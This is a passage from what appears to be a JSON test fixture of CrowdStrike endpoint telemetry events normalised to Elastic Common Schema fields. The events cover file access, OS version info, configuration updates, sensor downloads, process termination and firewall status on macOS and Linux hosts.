"ffffffff8eca418b7a861be9c5f7de1d" - }, - "event": { - "action": "CriticalFileAccessed", - "category": [ - "file" - ], - "created": "2021-07-07T17:03:58.553Z", - "id": "ffffffff-1111-11eb-956a-02748d01bd3d|ffffffff8eca418b7a861be9c5f7de1d|ffffffff15754bcfb5f9152ec7ac90ac", - "kind": "alert", - "original": "{\"event_simpleName\":\"CriticalFileAccessed\",\"ContextTimeStamp\":\"1625677438.515\",\"GID\":\"0\",\"ConfigStateHash\":\"3090255842\",\"ContextProcessId\":\"365053399098988534\",\"ContextThreadId\":\"0\",\"aip\":\"67.43.156.14\",\"ConfigBuild\":\"1007.4.0013701.1\",\"UID\":\"0\",\"event_platform\":\"Mac\",\"UnixMode\":\"384\",\"Entitlements\":\"15\",\"name\":\"CriticalFileAccessedMacV1\",\"id\":\"ffffffff-1111-11eb-956a-02748d01bd3d\",\"EffectiveTransmissionClass\":\"2\",\"aid\":\"ffffffff8eca418b7a861be9c5f7de1d\",\"timestamp\":\"1625677438553\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\",\"TargetFileName\":\"/private/var/db/dslocal/nodes/Default/users/daemon.plist\"}", - "outcome": "success", - "type": [ - "access" - ] - }, - "file": { - "directory": "/private/var/db/dslocal/nodes/Default/users", - "extension": "plist", - "name": "daemon.plist", - "path": "/private/var/db/dslocal/nodes/Default/users/daemon.plist", - "type": "file" - }, - "host": { - "id": "ffffffff8eca418b7a861be9c5f7de1d", - "os": { - "type": "macos" - } - }, - "message": "CriticalFileAccessed", - "observer": { - "address": [ - "67.43.156.14" - ], - "geo": { - "continent_name": "Asia", - "country_iso_code": "BT", - "country_name": "Bhutan", - "location": { - "lat": 27.5, - "lon": 90.5 - } - }, - "ip": [ - "67.43.156.14" - ], - "serial_number": "ffffffff8eca418b7a861be9c5f7de1d", - "version": "1007.4.0013701.1" - }, - "process": { - "entity_id": "365053399098988534", - "thread": { - "id": 0 - } - }, - "related": { - "hash": [ - "3090255842" - ], - "ip": [ - "67.43.156.14" - ], - "user": [ - "0" - ] - }, - "tags": [ - "preserve_original_event" - ], - "user": { - "group": { - "id": "0" - }, - "id": "0" - } - }, - { - "@timestamp": "2021-07-07T17:04:22.356Z", - "crowdstrike": { - "ConfigBuild": "1007.4.0013701.1", - "ConfigStateHash": "3967242894", - "EffectiveTransmissionClass": "2", - "Entitlements": "15", - "MajorVersion": "19", - "MinorVersion": "6", - "OSVersionFileData": "3c3f786d6c2076657273696f6e3d22312e302220656e636f64696e673d225554462d38223f3e0a3c21444f435459504520706c697374205055424c494320222d2f2f4170706c652f2f44544420504c49535420312e302f2f454e222022687474703a2f2f7777772e6170706c652e636f6d2f445444732f50726f70657274794c6973742d312e302e647464223e0a3c706c6973742076657273696f6e3d22312e30223e0a3c646963743e0a093c6b65793e50726f647563744275696c6456657273696f6e3c2f6b65793e0a093c737472696e673e3139483532343c2f737472696e673e0a093c6b65793e50726f64756374436f707972696768743c2f6b65793e0a093c737472696e673e313938332d32303231204170706c6520496e632e3c2f737472696e673e0a093c6b65793e50726f647563744e616d653c2f6b65793e0a093c737472696e673e4d6163204f5320583c2f737472696e673e0a093c6b65793e50726f647563745573657256697369626c6556657273696f6e3c2f6b65793e0a093c737472696e673e31302e31352e373c2f737472696e673e0a093c6b65793e50726f6475637456657273696f6e3c2f6b65793e0a093c737472696e673e31302e31352e373c2f737472696e673e0a093c6b65793e694f53537570706f727456657273696f6e3c2f6b65793e0a093c737472696e673e31332e363c2f737472696e673e0a3c2f646963743e0a3c2f706c6973743e0a", - "OSVersionFileName": "/System/Library/CoreServices/SystemVersion.plist", - "RFMState": "0", - "cid": "ffffffff15754bcfb5f9152ec7ac90ac", - "id": "ffffffff-1111-11eb-b3de-06a53f021cc9", - "name": "OsVersionInfoMacV3" - }, - "device": { - "id": "ffffffffbea440b9aad8b5bf222d303f" - }, - "event": { - "action": "OsVersionInfo", - "category": [ - "host" - ], - "created": "2021-07-07T17:04:22.356Z", - "id": "ffffffff-1111-11eb-b3de-06a53f021cc9|ffffffffbea440b9aad8b5bf222d303f|ffffffff15754bcfb5f9152ec7ac90ac", - "kind": "event", - "original": "{\"MajorVersion\":\"19\",\"event_simpleName\":\"OsVersionInfo\",\"OSVersionFileData\":\"3c3f786d6c2076657273696f6e3d22312e302220656e636f64696e673d225554462d38223f3e0a3c21444f435459504520706c697374205055424c494320222d2f2f4170706c652f2f44544420504c49535420312e302f2f454e222022687474703a2f2f7777772e6170706c652e636f6d2f445444732f50726f70657274794c6973742d312e302e647464223e0a3c706c6973742076657273696f6e3d22312e30223e0a3c646963743e0a093c6b65793e50726f647563744275696c6456657273696f6e3c2f6b65793e0a093c737472696e673e3139483532343c2f737472696e673e0a093c6b65793e50726f64756374436f707972696768743c2f6b65793e0a093c737472696e673e313938332d32303231204170706c6520496e632e3c2f737472696e673e0a093c6b65793e50726f647563744e616d653c2f6b65793e0a093c737472696e673e4d6163204f5320583c2f737472696e673e0a093c6b65793e50726f647563745573657256697369626c6556657273696f6e3c2f6b65793e0a093c737472696e673e31302e31352e373c2f737472696e673e0a093c6b65793e50726f6475637456657273696f6e3c2f6b65793e0a093c737472696e673e31302e31352e373c2f737472696e673e0a093c6b65793e694f53537570706f727456657273696f6e3c2f6b65793e0a093c737472696e673e31332e363c2f737472696e673e0a3c2f646963743e0a3c2f706c6973743e0a\",\"ConfigStateHash\":\"3967242894\",\"AgentVersion\":\"6.24.13701.0\",\"aip\":\"67.43.156.14\",\"MinorVersion\":\"6\",\"OSVersionString\":\"Darwin Kernel Version 19.6.0: Tue Jan 12 22:13:05 PST 2021; root:xnu-6153.141.16~1/RELEASE_X86_64\",\"ConfigBuild\":\"1007.4.0013701.1\",\"event_platform\":\"Mac\",\"Entitlements\":\"15\",\"name\":\"OsVersionInfoMacV3\",\"RFMState\":\"0\",\"id\":\"ffffffff-1111-11eb-b3de-06a53f021cc9\",\"OSVersionFileName\":\"/System/Library/CoreServices/SystemVersion.plist\",\"EffectiveTransmissionClass\":\"2\",\"aid\":\"ffffffffbea440b9aad8b5bf222d303f\",\"timestamp\":\"1625677462356\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\"}", - "outcome": "success", - "type": [ - "info" - ] - }, - "host": { - "id": "ffffffffbea440b9aad8b5bf222d303f", - "os": { - "type": "macos", - "version": "Darwin Kernel Version 19.6.0: Tue Jan 12 22:13:05 PST 2021; root:xnu-6153.141.16~1/RELEASE_X86_64" - } - }, - "message": "OsVersionInfo", - "observer": { - "address": [ - "67.43.156.14" - ], - "geo": { - "continent_name": "Asia", - "country_iso_code": "BT", - "country_name": "Bhutan", - "location": { - "lat": 27.5, - "lon": 90.5 - } - }, - "ip": [ - "67.43.156.14" - ], - "serial_number": "ffffffffbea440b9aad8b5bf222d303f", - "version": "6.24.13701.0" - }, - "related": { - "hash": [ - "3967242894" - ], - "ip": [ - "67.43.156.14" - ] - }, - "tags": [ - "preserve_original_event" - ] - }, - { - "@timestamp": "2021-07-07T17:03:56.454Z", - "crowdstrike": { - "ConfigStateData": [ - "0,0,1007.8.0010912.1", - "1,c,0", - "1,10,1", - "1,11,0", - "1,12,1", - "1,13,1", - "1,14,19", - "1,15,3", - "1,1f,4", - "1,22,3", - "1,3b,1", - "1,59,2d", - "1,d3,263", - "1,d4,0", - "1,eb,36", - "1,201,1", - "2,0,a8000000032,140000000085,18000000004c,18000000004f,180000000054,18000000022a,180000000248,180000000279,18000000027a,1800000002b4,180400000079,180400000225,180c00000133,180c00000285,181000000128,181000000180,18100000021f,181000000220,181000000280,1c0400000205" - ], - "ConfigStateHash": "1284133626", - "cid": "ffffffff15754bcfb5f9152ec7ac90ac", - "id": "ffffffff-1111-11eb-8e88-068a8894a447", - "name": "ConfigStateUpdateLinV1" - }, - "device": { - "id": "ffffffff4f4044b689d6420d303e4ecd" - }, - "event": { - "action": "ConfigStateUpdate", - "category": [ - "configuration" - ], - "created": "2021-07-07T17:03:56.454Z", - "id": "ffffffff-1111-11eb-8e88-068a8894a447|ffffffff4f4044b689d6420d303e4ecd|ffffffff15754bcfb5f9152ec7ac90ac", - "kind": "event", - "original": "{\"ConfigBuild\":\"1007.8.0010912.1\",\"event_simpleName\":\"ConfigStateUpdate\",\"event_platform\":\"Lin\",\"ConfigStateHash\":\"1284133626\",\"ConfigStateData\":\"0,0,1007.8.0010912.1|1,c,0|1,10,1|1,11,0|1,12,1|1,13,1|1,14,19|1,15,3|1,1f,4|1,22,3|1,3b,1|1,59,2d|1,d3,263|1,d4,0|1,eb,36|1,201,1|2,0,a8000000032,140000000085,18000000004c,18000000004f,180000000054,18000000022a,180000000248,180000000279,18000000027a,1800000002b4,180400000079,180400000225,180c00000133,180c00000285,181000000128,181000000180,18100000021f,181000000220,181000000280,1c0400000205|\",\"name\":\"ConfigStateUpdateLinV1\",\"aip\":\"67.43.156.14\",\"id\":\"ffffffff-1111-11eb-8e88-068a8894a447\",\"aid\":\"ffffffff4f4044b689d6420d303e4ecd\",\"timestamp\":\"1625677436454\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\"}", - "outcome": "success", - "type": [ - "change" - ] - }, - "host": { - "id": "ffffffff4f4044b689d6420d303e4ecd", - "os": { - "type": "linux" - } - }, - "message": "ConfigStateUpdate", - "observer": { - "address": [ - "67.43.156.14" - ], - "geo": { - "continent_name": "Asia", - "country_iso_code": "BT", - "country_name": "Bhutan", - "location": { - "lat": 27.5, - "lon": 90.5 - } - }, - "ip": [ - "67.43.156.14" - ], - "serial_number": "ffffffff4f4044b689d6420d303e4ecd", - "version": "1007.8.0010912.1" - }, - "related": { - "hash": [ - "1284133626" - ], - "ip": [ - "67.43.156.14" - ] - }, - "tags": [ - "preserve_original_event" - ] - }, - { - "@timestamp": "2021-07-07T17:02:45.906Z", - "crowdstrike": { - "CompletionEventId": "Event_KmaExtDownloadCompleteLinV1", - "ConfigStateHash": "1333055909", - "DownloadPort": 443, - "cid": "ffffffff15754bcfb5f9152ec7ac90ac", - "id": "ffffffff-1111-11eb-8dee-0201f64cca29", - "name": "LFODownloadConfirmationLinV1" - }, - "device": { - "id": "ffffffff88b948c6abeeee910f6d8c33" - }, - "event": { - "action": "LFODownloadConfirmation", - "category": [ - "file" - ], - "created": "2021-07-07T17:02:45.906Z", - "id": "ffffffff-1111-11eb-8dee-0201f64cca29|ffffffff88b948c6abeeee910f6d8c33|ffffffff15754bcfb5f9152ec7ac90ac", - "kind": "event", - "original": "{\"event_simpleName\":\"LFODownloadConfirmation\",\"ConfigStateHash\":\"1333055909\",\"aip\":\"67.43.156.14\",\"DownloadServer\":\"lfodown01-b.cloudsink.net\",\"DownloadPath\":\"/osfm/linux/bde98295e6e5fa4c6ba2acfebc2e9943c836bf2223aebb8b29e03c44df43cb53\",\"DownloadPort\":\"443\",\"ConfigBuild\":\"1007.8.0011611.1\",\"event_platform\":\"Lin\",\"name\":\"LFODownloadConfirmationLinV1\",\"CompletionEventId\":\"Event_KmaExtDownloadCompleteLinV1\",\"id\":\"ffffffff-1111-11eb-8dee-0201f64cca29\",\"aid\":\"ffffffff88b948c6abeeee910f6d8c33\",\"timestamp\":\"1625677365906\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\",\"TargetFileName\":\"KernelModuleArchiveExt11611\"}", - "outcome": "success", - "type": [ - "creation" - ] - }, - "file": { - "path": "KernelModuleArchiveExt11611", - "type": "file" - }, - "host": { - "id": "ffffffff88b948c6abeeee910f6d8c33", - "os": { - "type": "linux" - } - }, - "message": "LFODownloadConfirmation", - "observer": { - "address": [ - "67.43.156.14" - ], - "geo": { - "continent_name": "Asia", - "country_iso_code": "BT", - "country_name": "Bhutan", - "location": { - "lat": 27.5, - "lon": 90.5 - } - }, - "ip": [ - "67.43.156.14" - ], - "serial_number": "ffffffff88b948c6abeeee910f6d8c33", - "version": "1007.8.0011611.1" - }, - "related": { - "hash": [ - "1333055909" - ], - "ip": [ - "67.43.156.14" - ] - }, - "server": { - "address": "lfodown01-b.cloudsink.net", - "domain": "lfodown01-b.cloudsink.net", - "registered_domain": "cloudsink.net", - "subdomain": "lfodown01-b", - "top_level_domain": "net" - }, - "tags": [ - "preserve_original_event" - ], - "url": { - "domain": "lfodown01-b.cloudsink.net", - "original": "https://lfodown01-b.cloudsink.net/osfm/linux/bde98295e6e5fa4c6ba2acfebc2e9943c836bf2223aebb8b29e03c44df43cb53", - "path": "/osfm/linux/bde98295e6e5fa4c6ba2acfebc2e9943c836bf2223aebb8b29e03c44df43cb53", - "registered_domain": "cloudsink.net", - "scheme": "https", - "subdomain": "lfodown01-b", - "top_level_domain": "net" - } - }, - { - "@timestamp": "2021-07-07T17:02:33.895Z", - "crowdstrike": { - "ConfigStateHash": "3090255842", - "ContextProcessId": "365049009681176519", - "ContextTimeStamp": "2021-07-07T17:02:33.633Z", - "EffectiveTransmissionClass": "2", - "Entitlements": "15", - "cid": "ffffffff15754bcfb5f9152ec7ac90ac", - "id": "ffffffff-1111-11eb-9497-028a0bfcf603", - "name": "TarFileWrittenMacV1" - }, - "device": { - "id": "ffffffffe6244708bd09a6c111f63f4a" - }, - "event": { - "action": "TarFileWritten", - "category": [ - "file" - ], - "created": "2021-07-07T17:02:33.895Z", - "id": "ffffffff-1111-11eb-9497-028a0bfcf603|ffffffffe6244708bd09a6c111f63f4a|ffffffff15754bcfb5f9152ec7ac90ac", - "kind": "event", - "original": "{\"event_simpleName\":\"TarFileWritten\",\"ContextTimeStamp\":\"1625677353.633\",\"ConfigStateHash\":\"3090255842\",\"ContextProcessId\":\"365049009681176519\",\"ContextThreadId\":\"0\",\"aip\":\"67.43.156.14\",\"FileIdentifier\":\"050000010000000000000000000000005749420100000000\",\"ConfigBuild\":\"1007.4.0013701.1\",\"event_platform\":\"Mac\",\"Entitlements\":\"15\",\"name\":\"TarFileWrittenMacV1\",\"id\":\"ffffffff-1111-11eb-9497-028a0bfcf603\",\"EffectiveTransmissionClass\":\"2\",\"aid\":\"ffffffffe6244708bd09a6c111f63f4a\",\"timestamp\":\"1625677353895\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\",\"TargetFileName\":\"/Users/user7/.rbenv/versions/2.6.6/lib/ruby/gems/2.6.0/cache/database_cleaner-1.8.5.gem\"}", - "outcome": "success", - "type": [ - "creation" - ] - }, - "file": { - "directory": "/Users/user7/.rbenv/versions/2.6.6/lib/ruby/gems/2.6.0/cache", - "extension": "gem", - "inode": "050000010000000000000000000000005749420100000000", - "name": "database_cleaner-1.8.5.gem", - "path": "/Users/user7/.rbenv/versions/2.6.6/lib/ruby/gems/2.6.0/cache/database_cleaner-1.8.5.gem", - "type": "file" - }, - "host": { - "id": "ffffffffe6244708bd09a6c111f63f4a", - "os": { - "type": "macos" - } - }, - "message": "TarFileWritten", - "observer": { - "address": [ - "67.43.156.14" - ], - "geo": { - "continent_name": "Asia", - "country_iso_code": "BT", - "country_name": "Bhutan", - "location": { - "lat": 27.5, - "lon": 90.5 - } - }, - "ip": [ - "67.43.156.14" - ], - "serial_number": "ffffffffe6244708bd09a6c111f63f4a", - "version": "1007.4.0013701.1" - }, - "process": { - "entity_id": "365049009681176519", - "thread": { - "id": 0 - } - }, - "related": { - "hash": [ - "3090255842" - ], - "ip": [ - "67.43.156.14" - ] - }, - "tags": [ - "preserve_original_event" - ] - }, - { - "@timestamp": "2021-07-07T17:02:30.466Z", - "crowdstrike": { - "ConfigIDBase": "65994753", - "ConfigIDBuild": "13701", - "ConfigIDPlatform": "4", - "ConfigStateHash": "3967242894", - "ConfigurationVersion": "10", - "ConnectTime": "2021-07-07T17:02:30.208Z", - "ConnectType": "1", - "EffectiveTransmissionClass": "2", - "Entitlements": "15", - "FailedConnectCount": 404, - "NetworkContainmentState": "0", - "PreviousConnectTime": "2021-07-07T16:06:03.331Z", - "ProvisionState": "0", - "VerifiedCertificate": "7431e5f4c3c1ce4690774f0b61e05440883ba9a01ed00ba6abd7806ed3b118cf", - "cid": "ffffffff15754bcfb5f9152ec7ac90ac", - "id": "ffffffff-1111-11eb-ba54-02a3616f6acd", - "name": "AgentConnectMacV5" - }, - "device": { - "id": "ffffffff2977460db2898ece881a9358" - }, - "event": { - "action": "AgentConnect", - "category": [ - "network", - "session" - ], - "created": "2021-07-07T17:02:30.466Z", - "id": "ffffffff-1111-11eb-ba54-02a3616f6acd|ffffffff2977460db2898ece881a9358|ffffffff15754bcfb5f9152ec7ac90ac", - "kind": "event", - "original": "{\"event_simpleName\":\"AgentConnect\",\"ConfigStateHash\":\"3967242894\",\"NetworkContainmentState\":\"0\",\"VerifiedCertificate\":\"7431e5f4c3c1ce4690774f0b61e05440883ba9a01ed00ba6abd7806ed3b118cf\",\"aip\":\"67.43.156.14\",\"ConfigIDBase\":\"65994753\",\"FailedConnectCount\":\"404\",\"ConnectType\":\"1\",\"ConfigBuild\":\"1007.4.0013701.1\",\"event_platform\":\"Mac\",\"ConfigurationVersion\":\"10\",\"Entitlements\":\"15\",\"name\":\"AgentConnectMacV5\",\"ConfigIDPlatform\":\"4\",\"PreviousConnectTime\":\"1625673963.331\",\"id\":\"ffffffff-1111-11eb-ba54-02a3616f6acd\",\"ConfigIDBuild\":\"13701\",\"ConnectTime\":\"1625677350.208\",\"EffectiveTransmissionClass\":\"2\",\"aid\":\"ffffffff2977460db2898ece881a9358\",\"ProvisionState\":\"0\",\"timestamp\":\"1625677350466\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\"}", - "outcome": "success", - "type": [ - "connection", - "info" - ] - }, - "host": { - "id": "ffffffff2977460db2898ece881a9358", - "os": { - "type": "macos" - } - }, - "message": "AgentConnect", - "observer": { - "address": [ - "67.43.156.14" - ], - "geo": { - "continent_name": "Asia", - "country_iso_code": "BT", - "country_name": "Bhutan", - "location": { - "lat": 27.5, - "lon": 90.5 - } - }, - "ip": [ - "67.43.156.14" - ], - "serial_number": "ffffffff2977460db2898ece881a9358", - "version": "1007.4.0013701.1" - }, - "related": { - "hash": [ - "3967242894" - ], - "ip": [ - "67.43.156.14" - ] - }, - "tags": [ - "preserve_original_event" - ] - }, - { - "@timestamp": "2021-07-07T17:05:25.235Z", - "crowdstrike": { - "CompletionEventId": "Event_ChannelDataDownloadCompleteMacV1", - "ConfigStateHash": "3090255842", - "DownloadPort": 443, - "EffectiveTransmissionClass": "0", - "Entitlements": "15", - "cid": "ffffffff15754bcfb5f9152ec7ac90ac", - "id": "ffffffff-1111-11eb-8b09-069ee8920171", - "name": "LFODownloadConfirmationMacV1" - }, - "device": { - "id": "ffffffff5e8b4724aa10088c4f71cd9a" - }, - "event": { - "action": "LFODownloadConfirmation", - "category": [ - "file" - ], - "created": "2021-07-07T17:05:25.235Z", - "id": "ffffffff-1111-11eb-8b09-069ee8920171|ffffffff5e8b4724aa10088c4f71cd9a|ffffffff15754bcfb5f9152ec7ac90ac", - "kind": "event", - "original": "{\"event_simpleName\":\"LFODownloadConfirmation\",\"ConfigStateHash\":\"3090255842\",\"aip\":\"67.43.156.14\",\"DownloadServer\":\"lfodown01-b.cloudsink.net\",\"DownloadPath\":\"metahash+/cfs/channelfiles/0000000503/66d5e9ea15754bcfb5f9152ec7ac90ac/C-00000503-00000000-00000001.sys\",\"DownloadPort\":\"443\",\"ConfigBuild\":\"1007.4.0013701.1\",\"event_platform\":\"Mac\",\"Entitlements\":\"15\",\"name\":\"LFODownloadConfirmationMacV1\",\"CompletionEventId\":\"Event_ChannelDataDownloadCompleteMacV1\",\"id\":\"ffffffff-1111-11eb-8b09-069ee8920171\",\"EffectiveTransmissionClass\":\"0\",\"aid\":\"ffffffff5e8b4724aa10088c4f71cd9a\",\"timestamp\":\"1625677525235\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\",\"TargetFileName\":\"C-00000503-00000000-00000001.sys\"}", - "outcome": "success", - "type": [ - "creation" - ] - }, - "file": { - "path": "C-00000503-00000000-00000001.sys", - "type": "file" - }, - "host": { - "id": "ffffffff5e8b4724aa10088c4f71cd9a", - "os": { - "type": "macos" - } - }, - "message": "LFODownloadConfirmation", - "observer": { - "address": [ - "67.43.156.14" - ], - "geo": { - "continent_name": "Asia", - "country_iso_code": "BT", - "country_name": "Bhutan", - "location": { - "lat": 27.5, - "lon": 90.5 - } - }, - "ip": [ - "67.43.156.14" - ], - "serial_number": "ffffffff5e8b4724aa10088c4f71cd9a", - "version": "1007.4.0013701.1" - }, - "related": { - "hash": [ - "3090255842" - ], - "ip": [ - "67.43.156.14" - ] - }, - "server": { - "address": "lfodown01-b.cloudsink.net", - "domain": "lfodown01-b.cloudsink.net", - "registered_domain": "cloudsink.net", - "subdomain": "lfodown01-b", - "top_level_domain": "net" - }, - "tags": [ - "preserve_original_event" - ], - "url": { - "domain": "lfodown01-b.cloudsink.net", - "extension": "sys", - "original": "https://lfodown01-b.cloudsink.net/metahash+/cfs/channelfiles/0000000503/66d5e9ea15754bcfb5f9152ec7ac90ac/C-00000503-00000000-00000001.sys", - "path": "/metahash+/cfs/channelfiles/0000000503/66d5e9ea15754bcfb5f9152ec7ac90ac/C-00000503-00000000-00000001.sys", - "registered_domain": "cloudsink.net", - "scheme": "https", - "subdomain": "lfodown01-b", - "top_level_domain": "net" - } - }, - { - "@timestamp": "2021-07-07T17:04:42.403Z", - "crowdstrike": { - "ConfigStateHash": "1620585913", - "ContextProcessId": "364936256754041721", - "ContextTimeStamp": "2021-07-07T17:04:42.148Z", - "EffectiveTransmissionClass": "2", - "Entitlements": "15", - "VnodeModificationType": "6", - "cid": "ffffffff15754bcfb5f9152ec7ac90ac", - "id": "ffffffff-1111-11eb-9e50-064be6e56df7", - "name": "AsepFileChangeMacV1" - }, - "device": { - "id": "fffffffff1a64286a233d09974b1b377" - }, - "event": { - "action": "AsepFileChange", - "category": [ - "file" - ], - "created": "2021-07-07T17:04:42.403Z", - "id": "ffffffff-1111-11eb-9e50-064be6e56df7|fffffffff1a64286a233d09974b1b377|ffffffff15754bcfb5f9152ec7ac90ac", - "kind": "event", - "original": "{\"event_simpleName\":\"AsepFileChange\",\"ContextTimeStamp\":\"1625677482.148\",\"ConfigStateHash\":\"1620585913\",\"ContextProcessId\":\"364936256754041721\",\"ContextThreadId\":\"0\",\"aip\":\"67.43.156.14\",\"ConfigBuild\":\"1007.4.0013701.1\",\"event_platform\":\"Mac\",\"Entitlements\":\"15\",\"name\":\"AsepFileChangeMacV1\",\"id\":\"ffffffff-1111-11eb-9e50-064be6e56df7\",\"EffectiveTransmissionClass\":\"2\",\"aid\":\"fffffffff1a64286a233d09974b1b377\",\"timestamp\":\"1625677482403\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\",\"TargetFileName\":\"/System/Library/AssetsV2/com_apple_MobileAsset_MacSoftwareUpdate/5968e4faeba359dd5270ac282340cc4bd94d348c.asset/AssetData/payloadv2/ecc_data/System/Library/Spotlight/SystemPrefs.mdimporter/Contents/MacOS/SystemPrefs\",\"VnodeModificationType\":\"6\"}", - "outcome": "success", - "type": [ - "creation", - "change" - ] - }, - "file": { - "directory": "/System/Library/AssetsV2/com_apple_MobileAsset_MacSoftwareUpdate/5968e4faeba359dd5270ac282340cc4bd94d348c.asset/AssetData/payloadv2/ecc_data/System/Library/Spotlight/SystemPrefs.mdimporter/Contents/MacOS", - "name": "SystemPrefs", - "path": "/System/Library/AssetsV2/com_apple_MobileAsset_MacSoftwareUpdate/5968e4faeba359dd5270ac282340cc4bd94d348c.asset/AssetData/payloadv2/ecc_data/System/Library/Spotlight/SystemPrefs.mdimporter/Contents/MacOS/SystemPrefs", - "type": "file" - }, - "host": { - "id": "fffffffff1a64286a233d09974b1b377", - "os": { - "type": "macos" - } - }, - "message": "AsepFileChange", - "observer": { - "address": [ - "67.43.156.14" - ], - "geo": { - "continent_name": "Asia", - "country_iso_code": "BT", - "country_name": "Bhutan", - "location": { - "lat": 27.5, - "lon": 90.5 - } - }, - "ip": [ - "67.43.156.14" - ], - "serial_number": "fffffffff1a64286a233d09974b1b377", - "version": "1007.4.0013701.1" - }, - "process": { - "entity_id": "364936256754041721", - "thread": { - "id": 0 - } - }, - "related": { - "hash": [ - "1620585913" - ], - "ip": [ - "67.43.156.14" - ] - }, - "tags": [ - "preserve_original_event" - ] - }, - { - "@timestamp": "2021-07-07T17:05:11.067Z", - "crowdstrike": { - "ConfigStateHash": "1284133626", - "ContextProcessId": "130732827553316", - "ContextTimeStamp": "2021-07-07T17:05:10.959Z", - "EffectiveTransmissionClass": "2", - "Entitlements": "15", - "cid": "ffffffff15754bcfb5f9152ec7ac90ac", - "id": "ffffffff-1111-11eb-97d0-02b2813216eb", - "name": "TerminateProcessLinV2" - }, - "device": { - "id": "ffffffffdd094539a02b394c69a70aaf" - }, - "event": { - "action": "TerminateProcess", - "category": [ - "process" - ], - "created": "2021-07-07T17:05:11.067Z", - "id": "ffffffff-1111-11eb-97d0-02b2813216eb|ffffffffdd094539a02b394c69a70aaf|ffffffff15754bcfb5f9152ec7ac90ac", - "kind": "event", - "original": "{\"event_simpleName\":\"TerminateProcess\",\"RawProcessId\":\"76482\",\"ContextTimeStamp\":\"1625677510.959\",\"ConfigStateHash\":\"1284133626\",\"ContextProcessId\":\"130732827553316\",\"ContextThreadId\":\"0\",\"aip\":\"67.43.156.14\",\"ConfigBuild\":\"1007.8.0010912.1\",\"event_platform\":\"Lin\",\"TargetProcessId\":\"130732827553316\",\"Entitlements\":\"15\",\"name\":\"TerminateProcessLinV2\",\"id\":\"ffffffff-1111-11eb-97d0-02b2813216eb\",\"EffectiveTransmissionClass\":\"2\",\"aid\":\"ffffffffdd094539a02b394c69a70aaf\",\"timestamp\":\"1625677511067\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\"}", - "outcome": "success", - "type": [ - "end" - ] - }, - "host": { - "id": "ffffffffdd094539a02b394c69a70aaf", - "os": { - "type": "linux" - } - }, - "message": "TerminateProcess", - "observer": { - "address": [ - "67.43.156.14" - ], - "geo": { - "continent_name": "Asia", - "country_iso_code": "BT", - "country_name": "Bhutan", - "location": { - "lat": 27.5, - "lon": 90.5 - } - }, - "ip": [ - "67.43.156.14" - ], - "serial_number": "ffffffffdd094539a02b394c69a70aaf", - "version": "1007.8.0010912.1" - }, - "process": { - "entity_id": "130732827553316", - "pid": 76482, - "thread": { - "id": 0 - } - }, - "related": { - "hash": [ - "1284133626" - ], - "ip": [ - "67.43.156.14" - ] - }, - "tags": [ - "preserve_original_event" - ] - }, - { - "@timestamp": "2021-07-07T17:02:52.544Z", - "crowdstrike": { - "ConfigStateHash": "3090255842", - "EffectiveTransmissionClass": "2", - "Entitlements": "15", - "cid": "ffffffff15754bcfb5f9152ec7ac90ac", - "id": "ffffffff-1111-11eb-a9e6-067d21325a03", - "name": "FirewallEnabledMacV1" - }, - "device": { - "id": "ffffffff70cf4070af024397f25007c7" - }, - "event": { - "action": "FirewallEnabled", - "category": [ - "configuration", - "host" - ], - "created": "2021-07-07T17:02:52.544Z", - "id": "ffffffff-1111-11eb-a9e6-067d21325a03|ffffffff70cf4070af024397f25007c7|ffffffff15754bcfb5f9152ec7ac90ac", - "kind": "event", - "original": "{\"ConfigBuild\":\"1007.4.0013701.1\",\"event_simpleName\":\"FirewallEnabled\",\"event_platform\":\"Mac\",\"ConfigStateHash\":\"3090255842\",\"Entitlements\":\"15\",\"name\":\"FirewallEnabledMacV1\",\"aip\":\"67.43.156.14\",\"id\":\"ffffffff-1111-11eb-a9e6-067d21325a03\",\"EffectiveTransmissionClass\":\"2\",\"aid\":\"ffffffff70cf4070af024397f25007c7\",\"timestamp\":\"1625677372544\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\"}", - "outcome": "success", - "type": [ - "change" - ] - }, - "host": { - "id": "ffffffff70cf4070af024397f25007c7", - "os": { - "type": "macos" - } - }, - "message": "FirewallEnabled", - "observer": { - "address": [ - "67.43.156.14" - ], - "geo": { - "continent_name": "Asia", - "country_iso_code": "BT", - "country_name": "Bhutan", - "location": { - "lat": 27.5, - "lon": 90.5 - } - }, - "ip": [ - "67.43.156.14" - ], - "serial_number": "ffffffff70cf4070af024397f25007c7", - "version": "1007.4.0013701.1" - }, - "related": { - "hash": [ - "3090255842" - ], - "ip": [ - "67.43.156.14" - ] - }, - "tags": [ - "preserve_original_event" - ] - }, - { - "@timestamp": "2021-07-07T17:02:14.451Z", - "crowdstrike": { - "ConfigStateHash": "3090255842", - "ContextTimeStamp": "2021-07-07T17:02:12.283Z", - "EffectiveTransmissionClass": "2", - "Entitlements": "15", - "VolumeIsNetwork": "0", - "VolumeMediaBSDName": "disk2s2", - "VolumeMountPoint": "/private/tmp/KSInstallAction.dn6J5Xa1M4/m", - "VolumeName": "Install Google Drive", - "cid": "ffffffff15754bcfb5f9152ec7ac90ac", - "id": "ffffffff-1111-11eb-8fd9-06866dcbd3d5", - "name": "FsVolumeUnmountedMacV1" - }, - "device": { - "id": "ffffffffed984e248973f3ada1eb543d" - }, - "event": { - "action": "FsVolumeUnmounted", - "category": [ - "host" - ], - "created": "2021-07-07T17:02:14.451Z", - "id": "ffffffff-1111-11eb-8fd9-06866dcbd3d5|ffffffffed984e248973f3ada1eb543d|ffffffff15754bcfb5f9152ec7ac90ac", - "kind": "event", - "original": "{\"event_simpleName\":\"FsVolumeUnmounted\",\"VolumeName\":\"Install Google 